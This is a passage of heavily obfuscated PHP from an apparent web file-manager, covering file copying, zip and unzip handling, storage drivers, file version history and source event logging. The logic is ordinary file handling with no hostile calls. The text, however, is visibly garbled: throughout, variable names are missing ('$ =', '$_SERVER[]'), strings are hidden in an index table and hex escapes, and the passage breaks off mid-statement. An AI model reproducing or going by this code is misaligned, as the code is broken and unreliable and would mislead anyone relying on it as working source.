array_to_keyvalue(self::listAllSimple($ؓܵ), $ӛ[87]); $ͦ = array(); $๛ = array(); foreach ($҆ as $ß => $ꂼ) { if (isset($⪮[$ß])) { if ($ꂼ[$ӛ[78]] == 1) { continue; } if ($⪮[$ß][$ӛ[79]] == $ꂼ[$ӛ[79]]) { continue; } } if ($ꂼ[$ӛ[78]] == 1) { $๛[] = $ؓܵ . $ӛ[8] . trim($ß, $ӛ[8]); continue; } $ = strstr(trim($ß, $ӛ[8]), $ӛ[8]) ? get_path_father($ß) : $ӛ[12]; $ͦ[] = array($ӛ[1213] => $ꂼ[$ӛ[89]], $ӛ[1214] => rtrim($ؓܵ, $ӛ[8]) . $ӛ[8] . $, $ӛ[1215] => $ꂼ); } $ = array($ӛ[221] => $ͦ, $ӛ[78] => $๛); Hook::trigger($ӛ[1216], $, $ؓܵ, $); foreach ($๛ as $ꂼ) { IO::mkdir($ꂼ); } foreach ($ͦ as $ꂼ) { IO::copy($ꂼ[$ӛ[1213]], $ꂼ[$ӛ[1214]], REPEAT_REPLACE); } } public static function fileSubstr($ѕ, $Ӿ, $ = false) { $ =& $_SERVER[]; $Đ = self::driverMake($ѕ); $ = $Đ->size($ѕ); $ҿ = $Ӿ; $¥ = $; if ($Ӿ < 0) { $Ӿ = $ + $Ӿ; } if ($ === !1) { $ = $ - $Ӿ; } if ($Ӿ + $ > $) { $ = $ - $Ӿ; } if (!$ && $Đ->getType() == $[109] && !$Đ->exist($ѕ)) { $ = get_path_this($ѕ); $ = parse_url_query($); if (is_array($) && isset($[$[32]])) { $ = urldecode($[$[32]]); } throw new Exception($[1217] . LNG($[1218]) . $[1016] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($Ӿ < 0 || $Ӿ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("\x66\x69\154\x65\122\x65\141\x64\40\145\162\x72\157\162\x21\x20\x73\164\x61\x72\x74\x3d{$Ӿ}\x3b\x6c\x65\x6e\147\x74\150\x3d{$}\73\40\x73\151\x7a\x65\75{$}\73"); } $ = $Đ->fileSubstr($ѕ, $Ӿ, $); if (!$ && $ && isset($GLOBALS[$[1219]])) { throw new Exception($GLOBALS[$[1219]][$[1220]]); } return $; } private static function driverMake(&$ݑ) { $ȁ =& $_SERVER[]; $̂ = KodIO::parse($ݑ); if (!self::$driverListSystem) { $ = Model($ȁ[812])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ȁ[450]); } if ($̂[$ȁ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$̂[$ȁ[450]]]) { throw new Exception($ȁ[1221]); return !1; } $ݑ = $̂[$ȁ[1222]]; $ф = self::driverGet($̂, $ݑ); return $ф; } private static function driverGet($Ρ, &$٧) { $ =& $_SERVER[]; $Ȁ = $Ρ[$[1223]]; $ = $Ρ[$[450]]; switch ($Ρ[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $٧ = $ . $٧; $ = array($[1224] => $[1225], $[6] => $Ρ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1226]]; self::$driverListUser = array_to_keyvalue($, $[450]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1224] => $[1227], $[6] => $Ρ); $ = Action($[1228])->sharePathInfo($Ρ[$[87]]); $٧ = $[$[184]]; if (!$[$[184]]) { $ = Model($[639])->getInfo($[$[640]]); $٧ = KodIO::clear($[$[1229]] . $Ρ[$[1222]]); $Ρ[$[536]] = $; $Ρ[$[1204]] = $٧; $ = array($[1224] => $[1230], $[6] => $Ρ); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1224] => $[1231], $[6] => $Ρ); $ = Model($[639])->getInfo($Ρ[$[450]]); if ($[$[184]] == $[219]) { $٧ = KodIO::clear($[$[1229]] . $Ρ[$[1222]]); $Ρ[$[536]] = $; $Ρ[$[1204]] = $٧; $ = array($[1224] => $[1232], $[6] => $Ρ); } else { if (!$٧) { $٧ = $[$[184]]; } } break; default: $٧ = $Ρ[$[87]]; $ = array($[1224] => $[1233]); break; } $Ě = $Ρ[$[87]]; if (!isset(self::$driverCache[$Ě])) { $د = strtolower($[$[98]]); $ڷ = $GLOBALS[$[6]][$[92]][$[870]]; $ = $[77] . (isset($ڷ[$د]) ? $ڷ[$د] : ucfirst($د)); if (!class_exists($)) { show_json("{$}\x20\x6e\x6f\x74\40\145\170\151\x73\164\x73\x21", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$Ě] = new $($); } $܋ = self::$driverCache[$Ě]; $܋->pathDriver = $Ȁ; $܋->pathBase = $[12]; if (isset($[$[6]][$[1234]])) { $܋->pathBase = rtrim($[$[6]][$[1234]], $[8]) . $[8]; $٧ = $܋->pathBase . ltrim($٧, $[8]); } $٧ = $܋->getPath($٧); if (isset($Ρ[$[1204]])) { $٧ = $Ρ[$[1204]]; } $܋->path = $٧; return $܋; } public static function errorTips($𴺜 = false) { $ =& $_SERVER[]; static $Ϝ = array(); $ߌ = 1000; if ($𴺜 === -1) { return $Ϝ ? $Ϝ[count($Ϝ) - 1] : $[12]; } if ($𴺜 === !1) { return implode($[253], $Ϝ); } if (count($Ϝ) >= $ߌ) { $Ϝ = array_slice($Ϝ, $ߌ * 0.5, $ߌ); } $Ϝ[] = $𴺜; write_log($[166] . ACTION . $[1235] . $𴺜, $[1236]); } public static function getLastError($Ԛ = '') { $ލ = self::errorTips(-1); return $ލ ? $ލ : $Ԛ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($˜) { return self::local()->iconvSystem($˜); } private static function iconvApp($҃) { return self::local()->iconvApp($҃); } public static function zipFolder($д, $ = "\172\151\x70", $ = '', $ = REPEAT_RENAME) { $֬ =& $_SERVER[]; $ = IO::listPath($д); if (!$) { return !1; } $ = array_merge($[$֬[85]], $[$֬[86]]); return self::zip($, $, $, $); } public static function zip($ˆ, $֩ = "\x7a\151\x70", $ʿ = '', $ = REPEAT_RENAME) { $Ʈ =& $_SERVER[]; if (is_string($ˆ) && $ˆ) { $ˆ = array(array($Ʈ[87] => $ˆ)); } $ŷ = self::init($ˆ[0][$Ʈ[87]]); $퉤 = self::info($ˆ[0][$Ʈ[87]]); $١ = $Ʈ[12]; $ķ = $Ʈ[12]; $ = $Ʈ[12]; if ($ʿ && substr($ʿ, -1, 1) != $Ʈ[8]) { $ķ = get_path_father($ʿ); $ = get_path_this($ʿ); } else { $ķ = self::pathFather($퉤[$Ʈ[87]]); $ = $퉤[$Ʈ[32]] . $Ʈ[10] . $֩; if (count($ˆ) > 1) { $𩈁œ = IO::info($ķ); $ = $𩈁œ[$Ʈ[32]] . $Ʈ[10] . $֩; } if ($ʿ) { $ķ = $ʿ; } } if ($ŷ->getType() == $Ʈ[109]) { $Ȏ = self::init($ķ); $ = $Ȏ->getType() == $Ʈ[109] ? $ķ : get_path_father($ŷ->path); $ = rtrim($, $Ʈ[8]) . $Ʈ[8]; mk_dir($); } else { $١ = TEMP_FILES . $Ʈ[1237] . time() . rand_string(8) . $Ʈ[8]; mk_dir($١); file_put_contents($١ . $Ʈ[1238], $Ʈ[12]); $ = $١; } $̤ = IO::info($); if (!$̤ || !$̤[$Ʈ[224]]) { show_json(LNG($Ʈ[1239]), !1); } $ = self::zipFileList($ˆ, $١); foreach ($ as $͊؄ => $߽) { $[$͊؄] = self::iconvSystem($߽); } $Ȼ = get_filename_auto($ . $, $Ʈ[12], $); KodArchive::create(self::iconvSystem($Ȼ), $); if (!IO::exist($Ȼ)) { if ($١) { del_dir($١); } show_json(LNG($Ʈ[1240]), !1); } if (!$١) { return $Ȼ; } $ݘ = self::move($Ȼ, $ķ, $); if ($١) { del_dir($١); } if (!$Ȼ) { show_json(LNG($Ʈ[1240]), !1); } return $ݘ; } public static function unzip($؅, $, $ = "\x2d\61", $˶ = "\x72\145\160\154\x61\143\x65") { $İ =& $_SERVER[]; $ӈ = parent::info($؅); if (!$ӈ) { show_json(LNG($İ[1241]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$İ[184]]) && trim($[$İ[87]], $İ[8]) != trim($, $İ[8])) { $̂ͤ = KodIO::make($[$İ[183]]); $ծ = IO::fileNameAuto($̂ͤ, $[$İ[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($̂ͤ . $ծ); } $ = $ && $ != $İ[1242] ? @json_decode($, !0) : -1; $斅 = self::unzipPart($؅, $); if (!$斅 || !IO::exist($斅[$İ[221]])) { show_json(LNG($İ[108]), !1); } $ = $斅[$İ[1243]][count($斅[$İ[1243]]) - 1]; if ($[$İ[1244]] == -1 || substr($[$İ[32]], -1, 1) == $İ[8]) { $ʚ̠ = $斅[$İ[1245]] . rand_string(10) . $İ[8]; mk_dir($ʚ̠); $Ǒ = count($斅[$İ[1243]]) == 1 ? IO::ext($؅) : get_path_ext($斅[$İ[221]]); $ = KodArchive::extract(self::iconvSystem($斅[$İ[221]]), $ʚ̠, $[$İ[1244]], $ծ, $Ǒ); self::unzipErrorCheck($, array($İ[1246], $؅, $Ǒ, $, $斅)); Hook::trigger($İ[1247], $ʚ̠); recursion_dir($ʚ̠, $, $, 0); $뇵Β = array_merge($, $); $ = array(); foreach ($뇵Β as $՝) { $Ы = IO::move(self::iconvApp($՝), $, $˶); if ($Ы) { $[] = $Ы; } } del_dir($ʚ̠); } else { $Ы = IO::move($斅[$İ[221]], $, $˶, get_path_this($[$İ[32]])); if ($Ы) { $[] = $Ы; } } return $ ? $ : !1; } public static function unzipList($ꇫ) { $ =& $_SERVER[]; $ = isset($ꇫ[$[1248]]) ? $ꇫ[$[1248]] : !1; $ = isset($ꇫ[$[1244]]) ? @json_decode($ꇫ[$[1244]], !0) : -1; $Ň̫ = self::unzipPart($ꇫ[$[87]], $); if (!$Ň̫ || !IO::exist($Ň̫[$[221]])) { show_json(LNG($[108]), !1); } $ә = $Ň̫[$[1243]][count($Ň̫[$[1243]]) - 1]; $߰Ꮁ = in_array(IO::ext($Ň̫[$[221]]), array($[364], $[1249], $[1250], $[1251], $[1252], $[1253])); if (!$ && ($ә[$[1244]] == -1 || $߰Ꮁ)) { $щ = $Ň̫[$[1245]] . get_path_this($Ň̫[$[221]]) . $[1254]; if (!IO::exist($щ)) { $͹ = $ә[$[1244]] == -1 ? get_path_ext(IO::pathThis($ꇫ[$[87]])) : get_path_ext($Ň̫[$[221]]); $߯碆 = KodArchive::listContent(self::iconvSystem($Ň̫[$[221]]), !0, $͹); self::unzipErrorCheck($߯碆, array($[1255], $ꇫ, $Ň̫)); @file_put_contents($щ, json_encode($߯碆[$[1256]])); } return @json_decode(IO::getContent($щ), !0); } IO::fileOut($Ň̫[$[221]], $, get_path_this($ә[$[32]])); die; } private static function zipFileList($й, $ð = false) { $Ɲ =& $_SERVER[]; $Ғ = array(); foreach ($й as $ɜո) { $ = $ɜո[$Ɲ[87]]; if ($ð) { $ = self::copy($ɜո[$Ɲ[87]], $ð, $Ɲ[862]); } else { $״ = self::init($ɜո[$Ɲ[87]]); if ($״->getType() == $Ɲ[109]) { $ = $״->path; } } if ($ && self::local()->exist($)) { $Ғ[$ɜո[$Ɲ[87]]] = $; } } if (!empty($Ғ)) { return array_values($Ғ); } show_json(LNG($Ɲ[1218]), !1); } private static function localFilePath($Զʼ) { $ֹ =& $_SERVER[]; $æ = KodIO::parse($Զʼ); if ($æ[$ֹ[33]] == KodIO::KOD_SOURCE) { $Ƙ = Model($ֹ[869])->fileInfoGet(KodIO::sourceID($Զʼ)); if (!$Ƙ[$ֹ[87]]) { show_json($ֹ[1257], !1); } $Զʼ = $Ƙ[$ֹ[87]]; } $ݥ = self::init($Զʼ); if ($ݥ->pathParse[$ֹ[1204]]) { $Զʼ = $ݥ->pathParse[$ֹ[1204]]; $ݥ = self::init($Զʼ); } $ѣ = $ݥ->getType(); if ($ѣ == $ֹ[109] || $ѣ == $ֹ[1258]) { if (!$ݥ->exist($ݥ->path)) { show_json(LNG($ֹ[108]), !1); } return $ݥ->path; } return !1; } public static function unzipPart($ڍޛ, $ͪ = -1) { $Ƌ =& $_SERVER[]; $Ҁ = IO::pathThis($ڍޛ); if (!$ͪ || $ͪ == -1) { $С = array(array($Ƌ[32] => $Ҁ, $Ƌ[1244] => -1)); $С[0][$Ƌ[1259]] = $С[0][$Ƌ[32]]; } else { if (is_array($ͪ)) { $С = $ͪ; $ۦ = count($С) - 1; for ($ = 0; $ <= $ۦ; $++) { $ޝ = $С[$]; $ = get_path_this($ޝ[$Ƌ[32]]) . (checkExtSafe($ޝ[$Ƌ[32]]) ? $Ƌ[12] : $Ƌ[1260]); $С[$][$Ƌ[1259]] = $Ƌ[1261] . intval($ޝ[$Ƌ[1244]]) . $Ƌ[437] . $; if ($ == 0) { continue; } $С[$][$Ƌ[1259]] = $С[$ - 1][$Ƌ[1259]] . $Ƌ[1262] . $С[$][$Ƌ[1259]]; } } } if (!is_array($С) || count($С) == 0) { return !1; } $ = $С[count($С) - 1]; if (!IO::exist($ڍޛ)) { return !1; } $ܡ۰ = TEMP_FILES . $Ƌ[1263] . kodIO::hashPathSafe($ڍޛ) . $Ƌ[8]; $儮 = $ܡ۰ . $[$Ƌ[1259]]; mk_dir($ܡ۰); file_put_contents(TEMP_FILES . $Ƌ[1238], $Ƌ[12]); if (IO::exist($儮)) { return array($Ƌ[221] => $儮, $Ƌ[1243] => $С, $Ƌ[1245] => $ܡ۰); } $ = self::localFilePath($ڍޛ); if (!$) { $ = $ܡ۰ . $Ƌ[1264]; if (!IO::exist($)) { self::copy($ڍޛ, $ܡ۰, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$Ƌ[1244]] == -1) { return array($Ƌ[221] => $, $Ƌ[1243] => $С, $Ƌ[1245] => $ܡ۰); } $ = $; foreach ($С as $ => $ޝ) { if (!$ޝ || $ޝ[$Ƌ[1244]] == $Ƌ[1242]) { break; } if (substr($ޝ[$Ƌ[32]], -1, 1) == $Ƌ[8]) { break; } $ = in_array(get_path_ext($ޝ[$Ƌ[1259]]), array($Ƌ[364], $Ƌ[1249], $Ƌ[1250], $Ƌ[1251], $Ƌ[1252], $Ƌ[1253])); $Ǹ = $ == count($С) - 1 && $; $ = $ܡ۰ . $ޝ[$Ƌ[1259]]; $ = $ܡ۰ . get_path_this($ޝ[$Ƌ[32]]); if (IO::exist($)) { $ = $; continue; } $Ų = $ == 0 ? get_path_ext($Ҁ) : get_path_ext($); $ј = KodArchive::extract(self::iconvSystem($), $ܡ۰, $ޝ[$Ƌ[1244]], $ܶπ, $Ų); self::unzipErrorCheck($ј, array($Ƌ[1265], $ڍޛ, $С, $ޝ, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ = $; } $儮 = $; return array($Ƌ[221] => $, $Ƌ[1243] => $С, $Ƌ[1245] => $ܡ۰); } private static function unzipErrorCheck($Զ, $Ԋ = false) { $ =& $_SERVER[]; if ($Զ[$[1266]]) { return !0; } write_log(array($[1267], $Զ, $Ԋ), $[1268]); show_json($[1269] . json_encode($Զ[$[1256]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $Ϟ =& $_SERVER[]; $ = $GLOBALS[$Ϟ[6]][$Ϟ[92]]; if ($[$Ϟ[1270]] != 1) { return; } if ($[$Ϟ[1271]] <= 0) { return; } if (isset($_REQUEST[$Ϟ[1272]]) && $_REQUEST[$Ϟ[1272]] == $Ϟ[91]) { return; } Hook::bind($Ϟ[1273], $Ϟ[1274]); Hook::bind($Ϟ[1275], $Ϟ[1276]); Hook::bind($Ϟ[1277], $Ϟ[1278]); Hook::bind($Ϟ[1279], $Ϟ[1280]); Hook::bind($Ϟ[1281], $Ϟ[1282]); Hook::bind($Ϟ[1283], $Ϟ[1284]); } public static function eventBeforeUpload($߶—) { if ($߶—[3] && $߶—[3] != REPEAT_REPLACE) { return; } $ɯ = self::parsePath($߶—[0]); if (!$ɯ) { return; } self::add($ɯ); } public static function eventBeforeEdit($) { $Ƴ = self::parsePath($[0]); if (!$Ƴ) { return; } self::add($Ƴ); } public static function eventBeforeCopyFile($, $ā, $缥, $, $, $܎) { $ū =& $_SERVER[]; if (isset($缥->_data[$ū[1208]]) && $缥->_data[$ū[1208]]) { return; } $ = $缥->getPathOuter($); $ = self::parsePath($); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[]; $이 = self::parsePath($[0]); if (!$이) { return; } $ = self::checkInHistory($이); if (!$) { return; } if ($[$[33]] == $[221]) { $ɐ = self::listData($이); if ($ɐ && $ɐ[$[420]]) { self::moveHistory($이, $[1]); } } else { IO::rename($[$[87]], $[1]); } } public static function eventBeforeMove($ӏ) { $ߟ =& $_SERVER[]; $ҧ袙 = self::parsePath($ӏ[0]); if (!$ҧ袙) { return; } $ = self::parsePath($ӏ[1]); if (!$) { return; } $Œ߽ = $ӏ[3]; $ܔ = self::checkInHistory($ҧ袙); if (!$ܔ) { return; } $ = self::pathHistory($); if ($ܔ[$ߟ[33]] == $ߟ[221]) { $Æۙ = self::listData($ҧ袙); $槻 = rtrim($, $ߟ[8]) . $ߟ[8] . ($Œ߽ ? $Œ߽ : get_path_this($ҧ袙)); $奝 = self::listData($槻); if ($Æۙ && $Æۙ[$ߟ[420]] && $奝 && $奝[$ߟ[420]]) { return self::clear($ҧ袙); } if ($Æۙ && $Æۙ[$ߟ[420]]) { self::moveHistory($ҧ袙, $Œ߽, $); } } else { IO::move($ܔ[$ߟ[87]], $, !1, $Œ߽); self::clearEmptyFolder(IO::pathFather($ܔ[$ߟ[87]])); } } public static function eventAfterRemove($̢, $) { $ =& $_SERVER[]; if (!$) { return; } $ˬ = self::parsePath($̢[0]); if (!$ˬ) { return; } $‡ = self::checkInHistory($ˬ); if (!$‡) { return; } if ($‡[$[33]] == $[221]) { $ = self::listData($ˬ, !1); if ($ && $[$[420]]) { self::clear($ˬ, !1); } } else { IO::remove($‡[$[87]]); self::clearEmptyFolder(IO::pathFather($‡[$[87]])); } } private static function checkInHistory($Խ) { $ѳ = self::pathHistory($Խ); if (!IO::exist($ѳ)) { $ѳ .= $_SERVER[][1285]; } return IO::exist($ѳ) ? IO::info($ѳ) : !1; } private static function parsePath($ޠ) { $ߐ =& $_SERVER[]; if (!$ޠ) { return !1; } if (isset($GLOBALS[$ߐ[1286]]) && $GLOBALS[$ߐ[1286]]) { return; } $뢋 = KodIO::parse($ޠ); $ = $뢋[$ߐ[33]]; $˶ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$˶ || !$뢋[$ߐ[1287]]) { return !1; } if (substr($ޠ, 0, strlen(DATA_PATH . $ߐ[1288])) == DATA_PATH . $ߐ[1288]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $鱒 = IO::init($ޠ); if ($鱒->pathParse[$ߐ[1204]]) { return self::parsePath($鱒->pathParse[$ߐ[1204]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $ߐ[1289]); foreach ($ as $߶Ԓ) { if (!$ && substr($ޠ, 0, strlen($߶Ԓ)) == $߶Ԓ) { return !1; } } self::log($GLOBALS[$ߐ[1199]] . $ߐ[1290] . $ޠ); return $ޠ; } private static function pathHistory($٪) { $լІ =& $_SERVER[]; $ͨ = self::$_historyBase . ltrim(KodIO::clear($٪), $լІ[8]); $ͨ = str_replace(array($լІ[1291]), array($լІ[1292]), $ͨ); return $ͨ; } public static function log($ۤ) { } public static function historyCount($ȡ) { $ń =& $_SERVER[]; $ܟ = array(); $ = array(); foreach ($ȡ as $) { $ = get_path_father($); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($); } foreach ($ as $ => $) { $׬ = self::parsePath($); if (!$׬) { continue; } foreach ($ as $) { $ܿ = self::listData(rtrim($׬, $ń[8]) . $ń[8] . $, !1); if ($ܿ && $ܿ[$ń[420]]) { $ܟ[rtrim($, $ń[8]) . $ń[8] . $] = count($ܿ[$ń[420]]); } } } return $ܟ; } public static function add($ؼ) { $ =& $_SERVER[]; $͛č = self::listData($ؼ); if (!$͛č) { return; } $ߪ = Model($[815])->get($[1293]); $ = intval($GLOBALS[$[6]][$[92]][$[1271]]); $ = $ߪ == $[1294] ? min(5, $) : $; if ($ <= 0) { return; } $Е = IO::info($ؼ); $ = $͛č[$[420]]; if ($Е[$[79]] == 0) { return; } if ($Е[$[79]] >= 1024 * 1024 * 500) { return !1; } $ͺ = IO::hashSimple($ؼ); if ($ && $[0][$[647]] == $ͺ) { return !0; } if (array_key_exists($[224], $Е) && !$Е[$[224]]) { return !1; } $ˑ = short_id(time()); $Ԗ = array($[450] => $ˑ, $[647] => $ͺ, $[32] => $Е[$[32]] . $[10] . date($[1295]) . rand_string(1), $[79] => $Е[$[79]], $[502] => USER_ID, $[222] => time(), $[1296] => $[12]); IO::mkdir($͛č[$[1297]]); $צ = IO::copy($ؼ, $͛č[$[1297]], !1, $Ԗ[$[32]]); if (!$צ) { self::clearEmptyFolder($͛č[$[1297]]); return !1; } array_unshift($, $Ԗ); if (count($) > $) { $ډ = array_slice($, $); foreach ($ډ as $) { IO::remove($͛č[$[1297]] . $[$[32]]); } $ = array_slice($, 0, $); } return self::saveData($͛č[$[1298]], $); } public static function remove($Ƈ, $) { $芦 =& $_SERVER[]; $޲ = self::listData($Ƈ); $Ǽ = array(); if (!$޲) { return !1; } foreach ($޲[$芦[420]] as $ɉǟ) { if ($ɉǟ[$芦[450]] == $) { IO::remove($޲[$芦[1297]] . $ɉǟ[$芦[32]]); continue; } $Ǽ[] = $ɉǟ; } return self::saveData($޲[$芦[1298]], $Ǽ); } public static function clear($ৗ, $ϋɭ = true) { $ы =& $_SERVER[]; $Ч = self::listData($ৗ, $ϋɭ); if (!$Ч) { return !1; } foreach ($Ч[$ы[420]] as $·) { IO::remove($Ч[$ы[1297]] . $·[$ы[32]]); } return self::saveData($Ч[$ы[1298]], array()); } public static function moveHistory($̩܅, $ = '', $촠 = '') { $ÚȻ =& $_SERVER[]; $͂ = self::listData($̩܅, !1); if (!$͂ || !$͂[$ÚȻ[420]]) { return !1; } $ = $ÚȻ[1285]; $ = $ ? $ : get_path_this($̩܅); $촠 = $촠 ? $촠 : $͂[$ÚȻ[1297]]; $֫ = substr(get_path_this($͂[$ÚȻ[1298]]), 0, -strlen($)); foreach ($͂[$ÚȻ[420]] as $ => $) { $హ = $ . substr($[$ÚȻ[32]], strlen($֫)); $팕薢 = IO::move($͂[$ÚȻ[1297]] . $[$ÚȻ[32]], $촠, !1, $హ); if ($팕薢) { $͂[$ÚȻ[420]][$][$ÚȻ[32]] = $హ; } } $͂[$ÚȻ[1298]] = IO::move($͂[$ÚȻ[1298]], $촠, !1, $ . $); self::saveData($͂[$ÚȻ[1298]], $͂[$ÚȻ[420]]); self::clearEmptyFolder($͂[$ÚȻ[1297]]); } public static function rollback($, $·) { $© =& $_SERVER[]; $ˌ = self::listData($); if (!$ˌ) { return; } $ = IO::info($); foreach ($ˌ[$©[420]] as $뚞 => $ǿ) { if ($ǿ[$©[450]] == $·) { self::add($); $ = $ˌ[$©[1297]] . $ǿ[$©[32]]; $Ч = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$©[32]]); if ($Ч) { self::remove($, $·); } return $Ч; } } return !1; } public static function setDetail($, $, $偎) { $힟 =& $_SERVER[]; $ǽ = self::listData($); if (!$ǽ) { return; } foreach ($ǽ[$힟[420]] as $ => $欯) { if ($欯[$힟[450]] == $) { $ǽ[$힟[420]][$][$힟[1296]] = $偎; self::saveData($ǽ[$힟[1298]], $ǽ[$힟[420]]); return !0; } } return !1; } public static function fileInfo($׽, $Ƀ) { $̀ =& $_SERVER[]; $ = self::listData($׽); if (!$) { show_json(LNG($̀[108]), !1); } $։ = $̀[12]; foreach ($[$̀[420]] as $ => $ҵ) { if ($ҵ[$̀[450]] != $Ƀ) { continue; } $։ = $[$̀[1297]] . $ҵ[$̀[32]]; break; } if (!$։) { show_json(LNG($̀[108]), !1); } return IO::info($։); } public static function fileOut($鱭, $, $˹ = false) { $ =& $_SERVER[]; $ʴ = self::fileInfo($鱭, $); $ =& $GLOBALS[$[7]]; $˹ = isset($[$[1248]]) && $[$[1248]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1299]) { return IO::fileOutImage($ʴ[$[87]], $[$[1300]]); } IO::fileOut($ʴ[$[87]], $˹, get_path_this($鱭)); } public static function listData($, $ = true) { $ =& $_SERVER[]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $̗ᴬ = self::pathHistory($); $ = array($[1298] => $̗ᴬ . $[1285], $[1297] => rtrim(get_path_father($̗ᴬ), $[8]) . $[8], $[420] => array()); $ = IO::getContent($[$[1298]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$[420]] = $; } } return $; } private static function saveData($ٜ, $) { $ҚŌ =& $_SERVER[]; self::log($ҚŌ[1301] . $ٜ . $ҚŌ[74] . count($), $ҚŌ[796]); if ($) { return IO::setContent($ٜ, json_encode($)); } $ӣ = IO::pathFather($ٜ); IO::remove($ٜ); self::clearEmptyFolder($ӣ); return !0; } public static function clearEmptyFolder($) { $؎ =& $_SERVER[]; if (trim($, $؎[8]) == trim(self::$_historyBase, $؎[8])) { return; } $ͻ˵ = IO::pathFather($); $Œ = IO::has($, !0); if ($Œ[$؎[230]] > 0 || $Œ[$؎[231]] > 0) { return; } IO::remove($); self::clearEmptyFolder($ͻ˵); } private static function getBasePath() { $ =& $_SERVER[]; $ = Model($[1302])->get($[1303]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $[1288]) { $韄 = $[1304] . rand_string(8); @rename($, get_path_father($) . $[8] . $韄); $ = DATA_PATH . $韄 . $[8]; file_put_contents(DATA_PATH . $[1238], $[12]); Model($[1302])->set($[1303], $); } return $; } $ = DATA_PATH . $[1304] . rand_string(8) . $[8]; $ = IO::mkdir($); $ = rtrim($, $[8]) . $[8]; file_put_contents($ . $[1238], $[12]); file_put_contents(DATA_PATH . $[1238], $[12]); Model($[1302])->set($[1303], $); return $; } } goto bʗ; CՎ: class SourceEventModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\x6f\x75\x72\143\x65\x5f\x65\x76\x65\x6e\x74"; protected $dataAuto = array(array("\x63\x72\145\x61\164\145\124\151\x6d\145", "\x74\x69\x6d\145", "\151\x6e\163\145\x72\164", "\x66\x75\x6e\x63\164\x69\x6f\x6e"), array("\144\145\x73\143", '', "\151\156\x73\x65\x72\164\54\x75\160\x64\x61\x74\x65\x2c\163\x65\154\x65\x63\x74", "\x6a\163\157\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($Ӗ, $, $ĸ = '') { $۾ =& $_SERVER[]; if (!$this->eventSave) { return; } $Å = Model($۾[1388])->sourceInfo($Ӗ); if (!$Å) { return !1; } if ($this->isDisableEvent($Å, $)) { return; } if ($ĸ && is_string($ĸ)) { $ĸ = array($۾[1991] => $ĸ); } $۷ = defined($۾[2179]) ? USER_ID : 0; $ = array($۾[466] => $Ӗ, $۾[2180] => $Å[$۾[183]], $۾[2181] => $Å[$۾[32]], $۾[558] => !empty($Å[$۾[558]]) ? $Å[$۾[558]] : $۾[12], $۾[1744] => $۷, $۾[471] => $, $۾[1746] => $ĸ); $this->addSystemLog($, $); unset($[$۾[2181]], $[$۾[558]]); return $this->add($); } private function addSystemLog($Қ, $) { $Ҧ߂ =& $_SERVER[]; if ($Қ == $Ҧ߂[2182]) { $Қ = $[$Ҧ߂[501]][$Ҧ߂[2183]]; } else { if (in_array($Қ, array($Ҧ߂[1932], $Ҧ߂[2184]))) { $Қ = $[$Ҧ߂[501]][$Ҧ߂[799]]; } } $ = array_merge($, array($Ҧ߂[2185] => $[$Ҧ߂[184]], $Ҧ߂[2186] => $[$Ҧ߂[2186]])); Hook::trigger($Ҧ߂[2187], $Ҧ߂[2188] . $Қ, $); Model($Ҧ߂[1896])->addLog($Ҧ߂[2188] . $Қ, $); } private function isDisableEvent($˖, $ڼ) { $􎭭 =& $_SERVER[]; if ($˖[$􎭭[181]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ڼ == $􎭭[1921]) { return !1; } return !0; } public function eventCreate($м좲, $✃) { $ =& $_SERVER[]; $尷 = Model($[1388])->sourceInfo($м좲); $ = array($[2183] => $✃, $[32] => $尷[$[32]]); return $this->addEvent($м좲, $[2182], $); } public function eventFileEdit($) { $ =& $_SERVER[]; $ = array($[2189] => $_SERVER[$[2190]], $[2191] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2192]])) { $[$[2192]] = $[91]; } return $this->addEvent($, $[1922], $); } public function eventRecycle($̴, $Ə) { return $this->addEvent($̴, $_SERVER[][2184], $Ə); } private static $_removeLast = ''; public function eventRemove($˓) { $ػ =& $_SERVER[]; self::$_removeLast = $˓; $펈 = Model($ػ[1388])->sourceInfo($˓); $ = array_field_key($펈, array($ػ[184], $ػ[516], $ػ[480], $ػ[560])); $ = array($ػ[799] => $펈[$ػ[32]], $ػ[2191] => ACTION, $ػ[2193] => $); return $this->addEvent($펈[$ػ[183]], $ػ[1921], $); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[][1932], $); } public function eventMove($, $, $ṳ) { $ =& $_SERVER[]; if (self::$_removeLast == $) { return; } $ء = Model($[1388]); $ڻԤ = 